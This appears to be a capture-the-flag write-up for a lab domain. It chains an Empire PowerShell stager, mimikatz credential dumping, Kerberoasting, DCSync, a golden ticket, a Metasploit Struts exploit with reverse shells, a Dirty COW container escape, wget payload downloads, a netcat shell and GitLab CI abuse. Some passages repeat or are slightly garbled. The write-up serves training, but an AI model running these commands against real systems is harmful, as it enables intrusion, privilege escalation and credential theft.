powershell -noP -sta -w 1 -enc SQBmACgAjABQAFMAVgBFAFIAUwBpAG8…AfABJAEUAWAA=

The output is large, so I've truncated it. We can now use this to trigger an agent for Empire to use. The easiest way to do this is to open our RDP session, open Notepad, copy the content across and save as a .ps1 file. Then all we need to do is execute the script with PowerShell. Once complete you should see the following on Empire.

(Empire: listeners/http) > [*] Sending POWERSHELL stager (stage 1) to 10.10.5.112
[*] New agent F82PRXX KW checked in
[*] Sending agent (stage 2) to F82PRXX KW at 10.10.5.112

(Empire: listeners/http) > agents
[*] Active agents:

<table>
<thead>
<tr>
<th>Name</th>
<th>La Internal IP</th>
<th>Machine Name</th>
<th>Username</th>
<th>Process</th>
<th>PID</th>
<th>Delay</th>
<th>Last Seen</th>
</tr>
</thead>
<tbody>
<tr>
<td>F82PRXX KW</td>
<td>ps 10.10.5.112</td>
<td>W1</td>
<td>W1\localadmin</td>
<td>powershell</td>
<td>1172</td>
<td>5/0.0</td>
<td>2018-10-24</td>
</tr>
</tbody>
</table>

If you're familiar with Empire you will notice that this agent does not have an Asterix next to the username which indicates that the agent has high integrity. As mentioned in Enigma0x3’s blog (https://enigma0x3.net/2015/08/26/empire-tips-and-tricks/).
Several Empire modules require a high integrity context in order to perform certain post-exploitation agents. For example, Empire supports the use of Mimikatz to obtain credentials from memory. High integrity agents will always be identified by an asterisk (*) next to the UserName, and this information can be seen as well by running info in an agent menu. You can check if your current user is a local administrator in a medium integrity context (meaning a bypassuac attack should be run) by running the privesc/powerup/allchecks module.

So, let's get a better agent to work with.

```
(Empire: F82PRXXW) > interact F82PRXXW
(Empire: F82PRXXW) > bypassuac http
[*] Tasked F82PRXXW to run TASK_CMD_JOB
[*] Agent F82PRXXW tasked with task ID 1
[*] Tasked agent F82PRXXW to run module powershell/privesc/bypassuac_eventvwr
(Empire: F82PRXXW) > [*] Agent F82PRXXW returned results.
Job started: 492Y3R
[*] Valid results returned by 10.10.5.112
[*] Sending POWERSHELL stager (stage 1) to 10.10.5.112
[*] New agent 8CBEX4S3 checked in
[+] Initial agent 8CBEX4S3 from 10.10.5.112 now active (Slack)
[*] Sending agent (stage 2) to 8CBEX4S3 at 10.10.5.112
(Empire: F82PRXXW) > agents
[*] Active agents:

<table>
<thead>
<tr>
<th>Name</th>
<th>La Internal IP</th>
<th>Machine Name</th>
<th>Username</th>
<th>Process</th>
<th>PID</th>
<th>Delay</th>
<th>Last Seen</th>
</tr>
</thead>
<tbody>
<tr>
<td>F82PRXXW</td>
<td>ps 10.10.5.112</td>
<td>W1</td>
<td>\localadmin</td>
<td>powershell</td>
<td>1172</td>
<td>5/0.0</td>
<td>2018-10-24 12:27:06</td>
</tr>
<tr>
<td>8CBEX4S3</td>
<td>ps 10.10.5.112</td>
<td>W1</td>
<td>\localadmin</td>
<td>powershell</td>
<td>4560</td>
<td>5/0.0</td>
<td>2018-10-24 12:27:03</td>
</tr>
</tbody>
</table>
```

Now that we have a good agent to work with, we should research what attacks against the DC we could try. If we follow the Mimikatz and Credentials post (https://www.powershellempire.com/?page_id=114) we can try mimikatz and DCSync.

```
(Empire: 8CBEX4S3) > mimikatz
[*] Tasked 8CBEX4S3 to run TASK_CMD_JOB
[*] Agent 8CBEX4S3 tasked with task ID 2
[*] Tasked agent 8CBEX4S3 to run module powershell/credentials/mimikatz/logonpasswords
(Empire: 8CBEX4S3) > [*] Agent 8CBEX4S3 returned results.
Job started: 4NWG82
[*] Valid results returned by 10.10.5.112
[*] Agent 8CBEX4S3 returned results.
Hostname: w1.bob.cysca / S-1-5-21-1271995062-733365304-4010809408

.####. mimikatz 2.1.1 (x64) built on Nov 12 2017 15:32:00
.## ^ ## "A La Vie, A L'Amour" - (oe.eo)
## / ## ///** Benjamin DELPY `gentilkiwi` (benjamin@gentilkiwi.com)
## / ## > http://blog.gentilkiwi.com/mimikatz
"## v ##" Vincent LE TOUX (vincent.letoux@gmail.com)
mimikatz(powershell) # sekurlsa::logonpasswords
...
mimikatz(powershell) # exit
Bye!
[*] Valid results returned by 10.10.5.112
(Empire: 8CBEX4S3) > creds

Credentials:

<table>
<thead>
<tr>
<th>CredID</th>
<th>CredType</th>
<th>Domain</th>
<th>UserName</th>
<th>Host</th>
<th>Password</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>hash</td>
<td>W1</td>
<td>localadmin</td>
<td>w1</td>
<td>2b6c84a3f5c14435c441120ef771ac0</td>
</tr>
<tr>
<td>2</td>
<td>hash</td>
<td>bob.cysca</td>
<td>W1$</td>
<td>w1</td>
<td>12fb52c44879912c2ab66e68a358135d2</td>
</tr>
<tr>
<td>3</td>
<td>hash</td>
<td>bob.cysca</td>
<td>MMcTarget</td>
<td>w1</td>
<td>2a6aedd9c7000765434aa301327e51</td>
</tr>
<tr>
<td>4</td>
<td>hash</td>
<td>W1</td>
<td>Administrator</td>
<td>w1</td>
<td>0996b2afb5a8c5402e365dc15de2c706</td>
</tr>
</tbody>
</table>
```
While running `mimikatz` did get us some hashes to use we did not successfully complete a DCSync. This might be due to the fact we are not a domain user account, so we need to do more research into DC attacks. Eventually we should discover an attack called Kerberoasting (https://adsecurity.org/?p=3466) as mentioned in the article:

_Kerberoasting_

Tim Medin presented at DerbyCon 2014 where he released a tool he called Kerberoast which cracks Kerberos TGS tickets. He determined that possession of a TGS service ticket encrypted with RC4 provides the opportunity to take the ticket to a password cracking computer (or cloud system) and attempt to crack the service account’s password. How does this work? Since the TGS Kerberos ticket is encrypted with RC4 encryption, that means the service account’s password hash is encrypted. The cracking system only needs to have a dictionary list of words and common passwords which the cracking system loops through, converts to NTLM, and attempts to open the TGS ticket. If the TGS ticket is opened, we know the clear text password and the NTLM password hash for the account.

_Note: Cracking passwords that people usually create is often not that difficult._

So, let’s give Kerberoasting a shot.

```bash
(Empire: 8CBEX4S3) > usemodule credentials/mimikatz/dcsync
(Empire: powershell/credentials/mimikatz/dcsync) > set user BOB\krbtgt
(Empire: powershell/credentials/mimikatz/dcsync) > run
[*] Tasked 8CBEX4S3 to run TASK_CMD_JOB
[*] Agent 8CBEX4S3 tasked with task ID 3
[*] Tasked agent 8CBEX4S3 to run module powershell/credentials/mimikatz/dcsync

(Empire: powershell/credentials/mimikatz/dcsync) > [*] Agent 8CBEX4S3 returned results.
Job started: GPK0SC
[*] Valid results returned by 10.10.5.112
```

Excellent we now a SPN account hash to crack, and as previously mentioned “Note: Cracking passwords that people usually create is often not that difficult.” So, let’s give the `rockyou` dictionary a shot.

```bash
(Empire: 8CBEX4S3) > usemodule credentials/invoke_kerberoast
(Empire: powershell/credentials/invoke_kerberoast) > set OutputFormat Hashcat
(Empire: powershell/credentials/invoke_kerberoast) > execute
[*] Tasked 8CBEX4S3 to run TASK_CMD_JOB
[*] Agent 8CBEX4S3 tasked with task ID 4
[*] Tasked agent 8CBEX4S3 to run module powershell/credentials/invoke_kerberoast
(Empire: powershell/credentials/invoke_kerberoast) > [*] Agent 8CBEX4S3 returned results.
Job started: MUC9D6
[*] Valid results returned by 10.10.5.112
[*] Agent APX51M returned results.
```

TicketByteHexStream:

<table>
<thead>
<tr>
<th>Hash</th>
</tr>
</thead>
<tbody>
<tr>
<td>424A3E44424D0A8666672A3CEC49ADB3F80BD2126CC3EC0A968BE7CC92EB461C814800DC9678A2BA029858203A8B80C8E4A22A5B011A0C555F1AEAC732DA88E7219D66BF6559F471B7257118FE41F585C9216</td>
</tr>
</tbody>
</table>

SamAccountName: DomainBackupService
DistinguishedName: CN=Domain B. Service,CN=Users,DC=bob,DC=cysca
ServicePrincipalName: DomainBackupService/backupdc.bob.cysca

Invoke-Kerberoast completed!

[*] Valid results returned by 10.10.5.112

```bash
PS D:\Tools\HashcatGUI\hashcat-4.2.1> /hashcat64.exe --as --hashfile found.pass --potfile D:\Tools\HashcatGUI\DomainBackupService.hash --wordlist D:\Tools\HashcatGUI\rockyou.txt
hashcat (v4.2.1) starting...
OpenCL Platform #1: NVIDIA Corporation
==========================================
* Device #3: GeForce 930M, 512/2048 MB allocatable, 3MCU
INFO: All hashes found in potfile! Use --show to display them.
PS D:\Tools\HashcatGUI\hashcat-4.2.1> type ..\found.pass
$krb5tgs$23$DomainBackupService$bob.cysca$DomainBackupService$backupdc.bob.cysca:4444*$3A7B5F5C87B561575EDF9C520759829752CD9208D18FE41F585C9216:Spong3bob!
```
We have the password now, let’s test them out to see if they are still valid. To do that we can first add them to our creds store for easy use.

**Add DomainBackupService creds**

```
(Empire: listeners/http) > creds add bob.cysca DomainBackupService Spong3bob! DC password
```

And now we can use `spawnas` to start an agent as the `DomainBackupService` user.

```
(Empire: 4XP5LTM1) > creds add bob.cysca DomainBackupService Spong3bob! DC password
```

**Credentials:**

<table>
<thead>
<tr>
<th>CredID</th>
<th>CredType</th>
<th>Domain</th>
<th>UserName</th>
<th>Host</th>
<th>Password</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>hash</td>
<td>W1</td>
<td>localadmin</td>
<td>w1</td>
<td>266c84a35f5c1c44110e6771ac0</td>
</tr>
<tr>
<td>2</td>
<td>hash</td>
<td>bob.cysca</td>
<td>W1$</td>
<td>w1</td>
<td>12fb55c487993c2aa666e68a3583135d2</td>
</tr>
<tr>
<td>3</td>
<td>hash</td>
<td>bob.cysca</td>
<td>MmTarget</td>
<td>w1</td>
<td>2a6aedd39c70096756434aa3a01327a51</td>
</tr>
<tr>
<td>4</td>
<td>hash</td>
<td>W1</td>
<td>Administrator</td>
<td>w1</td>
<td>0996a2f5a8c5402e365dc15de2c706</td>
</tr>
<tr>
<td>5</td>
<td>password</td>
<td>bob.cysca</td>
<td>DomainBackupService</td>
<td>Spong3bob!</td>
<td></td>
</tr>
</tbody>
</table>

```
(Empire: 4XP5LTM1) > usemodule management/spawnas
```

```
(Empire: powershell/management/spawnas) > set CredID 5
```

```
(Empire: powershell/management/spawnas) > run
```

[*] Module is not opsec safe, run? [y/N] y

[*] Tasked 4XP5LTM1 to run TASK_CMD_WAIT

[*] Tasked agent 4XP5LTM1 to run module powershell/management/spawnas

```
(Empire: powershell/management/spawnas) > [*] Agent 4XP5LTM1 returned results.
```

Launcher bat written to C:\Users\Public\debug.bat

```
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- -------- ------ ------ ------ ----- -------
15 4 1392    1312  0.02 648    2 cmd
```

[*] Valid results returned by 10.10.5.112

[*] Sending POWERSHELL stager (stage 1) to 10.10.5.112

[*] New agent SW3MHAR1 checked in

[*] Initial agent SW3MHAR1 from 10.10.5.112 now active (Slack)

[*] Sending agent (stage 2) to SW3MHAR1 at 10.10.5.112

```
(Empire: agents) > interact SW3MHAR1
```

Great they are still valid, and now that we have a domain user account we should retry the DCSync that previously failed.

```
(Empire: SW3MHAR1) > usemodule credentials/mimikatz/dcsync
```

```
(Empire: powershell/credentials/mimikatz/dcsync) > set user BOB\krbtgt
```

```
(Empire: powershell/credentials/mimikatz/dcsync) > run
```

[*] Tasked SW3MHAR1 to run TASK_CMD_JOB

[*] Agent SW3MHAR1 tasked with Task ID 2

[*] Tasked agent SW3MHAR1 to run module powershell/credentials/mimikatz/dcsync

```
(Empire: powershell/credentials/mimikatz/dcsync) > [*] Agent SW3MHAR1 returned results.
```

Job started: W5SVX9

```
(Empire: agents) > interact SW3MHAR1
```

Great they are still valid, and now that we have a domain user account we should retry the DCSync that previously failed.
mimikatz(powershell) # lsadump::dcsync /user:BOB\krbtgt
[DC] 'bob.cysca' will be the domain
[DC] 'DC.bob.cysca' will be the DC server
[DC] 'BOB\krbtgt' will be the user account

Object RDN          : krbtgt

** SAM ACCOUNT **
...
Credentials:
  Hash NTLM: 1d29d7dbbe7079cf4b739bbbc8d762b1
  ntlm- 0: 1d29d7dbbe7079cf4b739bbbc8d762b1
  lm - 0: 1e3cbe75801b82c0c43a6833f5df68

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
  Random Value : fb92ca9d394fca03fff8fb2792778ed7
...
* Packages *
  NTLM-Strong-NTOWF

* Primary:MDigest *
  01 d5ad05a118f82d3aed23106a8d34fd17
  ...
  29 d8e5b84a0b6402ad3318506f26f21

[*] Valid results returned by 10.10.5.112

Thanks to this module’s integration the krbtgt hash is pushed to our creds store automatically so we don’t need to manually add it, we can now use it to generate a golden ticket. If you don’t know what a golden ticket is or why the hash of the krbtgt user is so important give this article a read (https://adsecurity.org/?p=1640).

(Empire: powershell/credentials/mimikatz/dcsync) > usemodule powershell/credentials/mimikatz/golden_ticket
(Empire: powershell/credentials/mimikatz/golden_ticket) > set CredID 7
(Empire: powershell/credentials/mimikatz/golden_ticket) > set user BOB\Administrator
[*] Tasked 5W3HAR1 to run TASK_CMD_JOB
[*] Agent 5W3HAR1 tasked with task ID 3
[*] Tasked agent 5W3HAR1 to run module powershell/credentials/mimikatz/golden_ticket

(Empire: powershell/credentials/mimikatz/golden_ticket) > [*] Agent 5W3HAR1 returned results.
Job started: UHVNKD
[*] Valid results returned by 10.10.5.112
[*] Agent 5W3HAR1 returned results.
Hostname: w1.bob.cysca / S-1-5-21-779726122-49510486-228831339

.####... mimikatz 2.1.1 (x64) built on Nov 12 2017 15:32:00
.### ^ ### "A La Vie, A L'Amour" - (oe.eo)
### / ### / *** Benjamin DELPY 'gentilkiwi' ( benjamin@gentilkiwi.com )
### / ### > http://blog.gentilkiwi.com/mimikatz
### / ### / *** Vincent LE TOUX ( vincent.letoux@gmail.com )
### / ### > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz(powershell) # kerberos::golden /domain:bob.cysca /user:BOB\Administrator /sid:S-1-5-21-779726122-49510486-228831339 /krbtgt:1d29d7dbbe7079cf4b739bbbc8d762b1 /ptt
User      : BOB\Administrator
Domain    : bob.cysca (BOB)
SID      : S-1-5-21-779726122-49510486-228831339
User Id   : 500
Groups Id : *513 512 518 519
ServiceKey: 1d29d7dbbe7079cf4b739bbbc8d762b1 - rc4_hmac_nt
Lifetime: 24/10/2018 1:39:53 PM ; 21/10/2028 1:39:53 PM ; 21/10/2028 1:39:53 PM
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'BOB\Administrator @ bob.cysca' successfully submitted for current session
[*] Valid results returned by 10.10.5.112

Now with the golden ticket we can laterally move to the DC using `invoke_psexec`

```powershell
(Empire: powershell/credentials/mimikatz/golden_ticket) > usemodule powershell/lateral_movement/invoke_psexec
(Empire: powershell/lateral_movement/invoke_psexec) > set Listener http
(Empire: powershell/lateral_movement/invoke_psexec) > set ComputerName dc.bob.cysca
(Empire: powershell/lateral_movement/invoke_psexec) > run
[*] Module is not opsec safe, run [y/N] y
[*] Tasked 5W3HAR1 to run TASK_CMD_JOB
[*] Agent 5W3HAR1 tasked with task ID 4
[*] Tasked agent 5W3HAR1 to run module powershell/lateral_movement/invoke_psexec

(Empire: powershell/lateral_movement/invoke_psexec) > [*] Agent 5W3HAR1 returned results.
Job started: VDENWM
[*] Valid results returned by 10.10.5.112
[*] Sending POWERSHELL stager (stage 1) to 10.10.5.10
[*] Agent 5W3HAR1 returned results.
[*] Valid results returned by 10.10.5.112
[*] New agent RWTBZPXC checked in
[+] Initial agent RWTBZPXC from 10.10.5.10 now active (Slack)
[*] Sending agent (stage 2) to RWTBZPXC at 10.10.5.10

And now that we're on the DC it's only a matter of locating the flag. And where done.

```powershell
(Empire: RWTBZPXC) > shell get-childitem C:\Users\ -recurse | where {$_.extension -eq ".txt"} | format-table Directory,Name
[*] Tasked RWTBZPXC to run TASK_SHELL
[*] Agent RWTBZPXC tasked with task ID 1
(Empire: RWTBZPXC) > [*] Agent RWTBZPXC returned results.
Directory   Name
--------- ----
C: \Users\Administrator\Desktop flag.txt

..Command execution completed.
[*] Valid results returned by 10.10.5.10

(Empire: RWTBZPXC) > shell type C:\Users\Administrator\Desktop\flag.txt
[*] Tasked RWTBZPXC to run TASK_SHELL
[*] Agent RWTBZPXC tasked with task ID 2
(Empire: RWTBZPXC) > [*] Agent RWTBZPXC returned results.
FLAG{FF5E35E874DA80601FE79DF1F96C1672}
..Command execution completed.
[*] Valid results returned by 10.10.5.10
```
**CHALLENGE: SPRINGBOARDS**

**Challenge Description**

Remember the Dev zone from the Zone transfer, I wonder what we have access to now? is it free from problems?

**Designed Solution**

Players must utilise an Apache Struts vulnerability to gain shell access to a web server.

**Writeup**

**TL:DR**

Start vuln as localadmin

```bash
msf > sessions -i 3
meterpreter > portfwd add -l 3389 -p 3389 -r 127.0.0.1
root@Bread:~# rdesktop 127.0.0.1:3389 -u localadmin -p
“SoCpasswordIsKindOfBrokenIsn’tItnotflag”
```

Migrate to new process

```bash
msf > sessions -i 4
meterpreter > run post/windows/manage/migrate
meterpreter > run autoroute -s 10.10.5.0/24
msf exploit(multi/http/struts2_content_type_ognl) > set payload
linux/x86/meterpreter/reverse_tcp
msf exploit(multi/http/struts2_content_type_ognl) > set RHOST 10.10.5.80
msf exploit(multi/http/struts2_content_type_ognl) > set RPORT 80
msf exploit(multi/http/struts2_content_type_ognl) > set LHOST 192.168.5.100
msf exploit(multi/http/struts2_content_type_ognl) > run
```

Bad shell upgrade

```bash
msf > run post/multi/manage/shell_to_meterpreter
msf post(multi/manage/shell_to_meterpreter) > set session 10
msf post(multi/manage/shell_to_meterpreter) > run
msf post(multi/manage/shell_to_meterpreter) > sessions 10
meterpreter >
```

Cat flag on WWW (dev)

```bash
cat /root/flag.txt
```

**EXTENDED VERSION**

We can access this challenge before completing the DC Sizzling, Harmonized, Golden brown BBQ challenge.

Using our RDP session, we can see if the localadmin user had bookmarked and stored credentials in their browsers.

Oddly we find 2 versions of the main site for the company (www.bob.cysca) and (www.dev.bob.cysca) and a link to the companies Gitlab (gitlab.dev.bob.cysca). however, the user has not stored credentials in ether chrome or IE, so GitLab is not easily accessible.

Going back to the multiple version of the main site we can investigate the source code of www.dev.bob.cysca to see if there are any comments left by designers before releasing it to the public.
After searching the source code for any comments, we come across the above comment. Since we don’t know what version we should probe the box for some information.

Now that we know its struts let’s try some of the exploits in MSF. After the first couple don’t work we come across struts2_content_type_ognl. With this exploit we get a shell and can find the flag.

```
meterpreter > background
[*] Backgrounding session 19...
msf > use exploit/multi/http/struts2_content_type_ognl
msf exploit(multi/http/struts2_content_type_ognl) > set RHOST 10.10.5.80
RHOST => 10.10.5.80
msf exploit(multi/http/struts2_content_type_ognl) > set RPORT 80
RPORT => 80
msf exploit(multi/http/struts2_content_type_ognl) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(multi/http/struts2_content_type_ognl) > set VERBOSE true
VERBOSE => true
msf exploit(multi/http/struts2_content_type_ognl) > exploit
[*] Started reverse TCP handler on 192.168.5.100:4450
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (861480 bytes) to 10.10.5.80
[*] Meterpreter session 10 opened (192.168.5.100:4450 -> 10.10.5.80:56375) at 2018-10-26 16:59:36 +1100
```

```
meterpreter > sysinfo
Computer     : www.dev.bob.cysca
OS           : Debian 9.5 (Linux 3.16.0-4-amd64)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
```

```
meterpreter > shell
Process 54 created.
Channel 1 created.
whoami
root
cd /root
ls -l
```

```
total 4
-rw------- 1 root root 38 Oct  1 09:12 flag.txt
cat flag.txt
FLAG{7381678A72E4542C484F531E171E1563}
```

This method sometimes might lead to a ‘dumb’ session, essentially you have no means of opening a shell. If this happens background the session and run shell_to_meterpreter.

```
meterpreter > background
[*] Backgrounding session 10...
msf > run post/multi/manage/shell_to_meterpreter
msf post(multi/manage/shell_to_meterpreter) > set session 10
session => 10
msf post(multi/manage/shell_to_meterpreter) > run
[!] SESSION may not be compatible with this module.
[+] Upgrading session ID: 10
[+] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.5.100:4433
[*] Sending stage (861480 bytes) to 10.10.5.80
[*] Command Stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) > [*] Meterpreter session 12 opened (192.168.5.100:4433 -> 10.10.5.80:48487) at 2018-10-26 17:06:16 +1100
```

```
msf post(multi/manage/shell_to_meterpreter) > sessions 10
[+] Starting interaction with 10...
meterpreter >
```

This method sometimes might lead to a ‘dumb’ session, essentially you have no means of opening a shell. If this happens background the session and run shell_to_meterpreter.
CHALLENGE: DIRTY CATTLE RANCH

Challenge Description
The CIO is confused as to why the Developers are using old versions of apache. What else is old?

NOTE: Not working any more reset the DevBox VM.

Designed Solution
Players must find out that they reside inside a container and that the kernel on the underlying host is vulnerable to the Dirty CoW exploit. The students then need to build machine with the same kernel to compile the exploit, copy the exploit to the target. Then using the exploit, they can escape the docker container that they are in and gain access to the Docker host.

Writeup

TL:DR
Finding kernel version
uname -a

Finding reference to docker
cd /

confirm you’re in a docker container
cat /proc/1/cgroup

Spin up Debian with kernel 3.16.36-1 and build DirtCow-vDSO exploit

git clone https://github.com/scumjr/dirtycow-vdso.git
make all

Upload and run DirtyCoW
meterpreter > upload 0xdeadbeef cow
meterpreter > shell
chmod +x cow
./cow 10.10.5.80 12345

Setup handler and exploit
msf > handler -p linux/x64/meterpreter/reverse_tcp -H 192.168.5.100 -P 4450 -n "DirtyCow"
root@Bread:~ # msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf lhost=192.168.5.100
lport=4450 > dev

Setup simple server and download shell
root@Bread:~ # python -m SimpleHTTPServer 8888

Execute shell
cd /tmp
wget http://192.168.5.100:8888/dev
chmod +x dev
./dev

Cat flag on DevBox
cat /root/flag.txt
Based on the information we have just collected we now know we’re in a docker container. And you might ask the significance of the **uname -a** output. If we google ‘Debian 3.16.36-1+deb8u1 vulnerabilities’ we can see that this kernel is in fact vulnerable to the Dirty COW (CVE-2016-5195) vulnerability([https://dirtycow.ninja/](https://dirtycow.ninja/)).

And after looking at the PoC's we see that there is a dirtycow-vdso version that would allow use to escape the container([https://github.com/scumjr/dirtycow](https://github.com/scumjr/dirtycow)).

The current payload is almost the same as in The Sea Watcher and is executed whenever a process makes a call to clock_gettime(). If the process has root privileges and /tmp/x doesn’t exist, it forks, creates /tmp/x and finally creates a TCP reverse shell to the exploit. It isn’t elegant, but it could be used for container escape.

Not being elegant might mean we want to figure out what to do once we escape the container, but a pressing issue we have is this code isn’t compiled. If we look at the target there are no compilers installed, so we must build the exploit locally.

```bash
root@debian:~# dpkg --list | grep compiler
apt-cache search Compiler
gcc-6-base - GCC, the GNU Compiler Collection (base package)
libstdc++6 - GNU Standard C++ Library v3
libsepol1 - SELinux library for manipulating binary security policies
```


- [linux-headers-3.16.0-4-amd64](https://github.com/scumjr/dirtycow)
- [linux-headers-3.16.0-4-common](https://github.com/scumjr/dirtycow)
- [linux-image-3.16.0-4-amd64](https://github.com/scumjr/dirtycow)

install them, update grub, and reboot the system, on reboot select the correct kernel version.

```
root@debian:~# dpkg -I *.deb
root@debian:~# update-grub
root@debian:~# reboot
```
after the reboot ether install git and clone the repo or just get the repo onto the box and cd into the directory. Once that’s done just make the exploit.

root@debian:~# git clone https://github.com/scumjr/dirtycow-vdso
root@debian:~# cd dirtycow-vdso
root@debian:~# make all

copy the exploit back to your attacker machine, and upload to the exploit. Another thing we should do before proceeding with the exploit is to set up another handler and some another exploit so that we can pop a meterpreter session on the host if the DirtyCoW exploit works.

msf > handler -p linux/x64/meterpreter/reverse_tcp -H 192.168.5.100 -P 4450 -n "DirtyCow"
root@Bread:~ # msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf lhost=192.168.5.100 lport=4450 > devexploit
root@Bread:~ # python -m SimpleHTTPServer 8888

meterpreter > upload 0xdeadbeef cow
[*] uploading : 0xdeadbeef -> cow
[*] Uploaded -1.00 B of 19.71 KiB (-0.0%): 0xdeadbeef -> cow
meterpreter > shell
Process 120 created.
Channel 10 created.
is -l
total 5896
-rw------- 1 root root 1028096 Oct 26 06:08 core
-rw------- 1 root root 20184 Oct 26 07:43 cow
drwxr-xr-x 2 root root 4096 Oct 26 05:54 hsperfdata_root
-rw------- 1 root root 82 Oct 26 05:54 velocity.log
chmod +x cow
./cow 10.10.5.80 12345
[*] payload target: 10.10.5.80:1234
[*] exploit: patch 1/2
[*] vDso successfully backdoored
[*] exploit: patch 2/2
[*] vDso successfully backdoored
[*] waiting for reverse connect shell...
[*] enjoy!
[*] restore: patch 2/2

whoami
root
[-] failed to win race condition...
[-] failed to restore vDSo

uname -a
Linux DevBox 3.16.0-4-amd64 #1 SMP Debian 3.16.36-1+deb8u1 (2016-09-03) x86_64 GNU/Linux

cd /tmp
wget http://192.168.5.100:8888/devexploit
converted 'http://192.168.5.100:8888/devexploit (ANSI_X3.4-1968)' - 'http://192.168.5.100:8888/devexploit (UTF-8)'
Connecting to 192.168.5.100:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 249 [application/octet-stream]
Saving to: 'devexploit'
2018-10-26 22:58:08 (84.2 MB/s) - 'devexploit' saved [249/249]

chmod +x devexploit
./devexploit
[*] Sending stage (816260 bytes) to 10.10.5.22
[*] Meterpreter session 83 opened (192.168.5.100:4450 -> 10.10.5.22:59583) at 2018-10-26 22:58:22 +1100

*
```plaintext
msf > sessions -i 85
[*] Starting interaction with 85...

meterpreter > shell
Process 5134 created.
Channel 1 created.
cd /root
ls -l
total 4
-rwx----- 1 root root 38 Oct 1 19:12 flag.txt
cat flag.txt
FLAG{87ED3B84A6621E6FE816926CD4541619}
cd /tmp
../dev

[*] Sending stage (816260 bytes) to 10.10.5.22
[*] Meterpreter session 88 opened (192.168.5.100:4450 -> 10.10.5.22:60424) at 2018-10-26 23:16:55 +1100
```

There we go we escaped the container and were on the host, I started a second session as I wanted a backup.
CHALLENGE: PERPETUAL MOTION MACHINE

Challenge Description
The CIO has informed us the entire DEV zone is to be rebuilt in the future due to the findings. We have been informed that the CI/CD pipeline is quite new and believes there is nothing wrong here. The Gitlab shows otherwise, can you find a way to pivot again?

Designed Solution
Players must utilise their new access level to modify a GitLab runner that has been previously used for testing purposes, when building the CI/CD pipeline. The developer did not remove this worker leaving their system vulnerable to code execution.

Writeup
TL:DR
Finding other docker containers
meterpreter > shell
/bin/bash -i
root@DevBox:/# docker ps

Change GitLab root password
docker exec -t 3252d8ca3d66 /bin/bash
gitlab-rails console production
user = User.where(id:1).first
user.password = 'cysca2018'
user.password_confirmation = 'cysca2018'
user.save!

Setup portfwd
meterpreter > portfwd add -l 8321 -p 80 -r 10.10.5.116

Using browser change GitLab Runner setting and push exploit to workstation2
Modify "hidden" runner
Active [✓]
Protected [ ]
Run untagged jobs [✓]
Lock to current projects [ ]
assigned projects [Nonnel Senoj / testingCICD]
Save!

Modify testingCICD project permissions
Project visibility [Internal]
Allow users to request access [✓]
Save!

Modify test.py Find out about target
# test file to see if CICD is working
import os
os.system("uname -a");

View CI/CD pipeline
< Output $ python test.py
Linux Workstation2 4.9.0-7-amd64 #1 SMP Debian 4.9.110-1 (2018-07-05) x86_64 GNU/Linux
test complete >
Upload exploit to testingCICD project
Use existing dev binary

Modify testingCICD project .gitlab-ci.yml

```yaml
run:
  - chmod +x pwning
  - ./pwning

Cat flag on workstation2
```

**EXTENDED VERSION**

So, if we remember back to when we first investigated this host from the W1 machine, and we couldn’t log into GitLab. We now have root on the underlying host, which means we have full control of the docker containers. So, our first step should be to find out how to change the root password of GitLab via CLI. ([https://docs.gitlab.com/ee/security/reset_root_password.html](https://docs.gitlab.com/ee/security/reset_root_password.html))

It seems super easy but if you use the current shell you will soon realise it’s hard to interact correctly and will not be able to effectively make the changes. So, a further step we need to take is to set up a fully interactive shell. Luckily for us method 3 will work ([https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttysh/](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttysh/)).

Set up the listener on our attacker machine

```
rroot@Bread:~# nc -lvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
```

then from the poor shell connect back

```
msf > sessions -i 88
[*] Starting interaction with 88...
```

```
meterpreter > shell
Process 8473 created.
Channel 1 created.
cat /bin/sh 192.168.5.100 4444
```

Now jump back to the listener, use the **python -c** to spawn a semi decent shell, then background the current session with **ctrl-Z**. Next we need to enter **stty raw -echo**, then **fg** (this is not displayed) and then **reset**.

Next it asks for a type enter **xterm** and where done! we now have a fully interactive shell. It will clear the screen, but the new prompt will be displayed shortly after.

```
Connection from 10.10.5.22 35535 received!
python -c "import pty; pty.spawn("/bin/bash")'
```

```
root@DevBox:/tmp# docker ps
CONTAINER ID        IMAGE                         COMMAND                  CREATED             STATUS
PORTS                     NAMES
```

We can now change the password with ease.
Now to make viewing the site a lot easier let’s use `portfwd` to allow use to have direct access to the site. We have user `portfwd` before but if you wanted to read up about it check out (https://www.offensive-security.com/metasploit-unleashed/portfwd/)

and now we can log in with our new `root` password.
From here we can see into any project and change any settings. But a big hint for us was the CIO specifically mentioned the CI/CD pipeline. If we check out all the projects, we can see there are 2 listed.

If we have a look at the CI/CD pipeline of the testingCICD-Gitlabrunner we can see that this pipeline is using the runner residing at glrunner.dev.bob.cysca. and that it is using the Docker executor.

If we now look at the other project testingCICD and its pipeline, we can see that its running on Workstation2 as a Shell executor.
If we check out the GitLab documentation about what exactly these runners are and the differences between the 2 types of executors we find some interesting information (https://docs.gitlab.com/runner/executors/), more specifically regarding the shell executor (https://docs.gitlab.com/runner/executors/shell.html).

**Shell**

The Shell executor is a simple executor that allows you to execute builds locally to the machine that the Runner is installed. It supports all systems on which the Runner can be installed. That means that it’s possible to use scripts generated for Bash, Windows PowerShell and Windows Batch.

**Security**

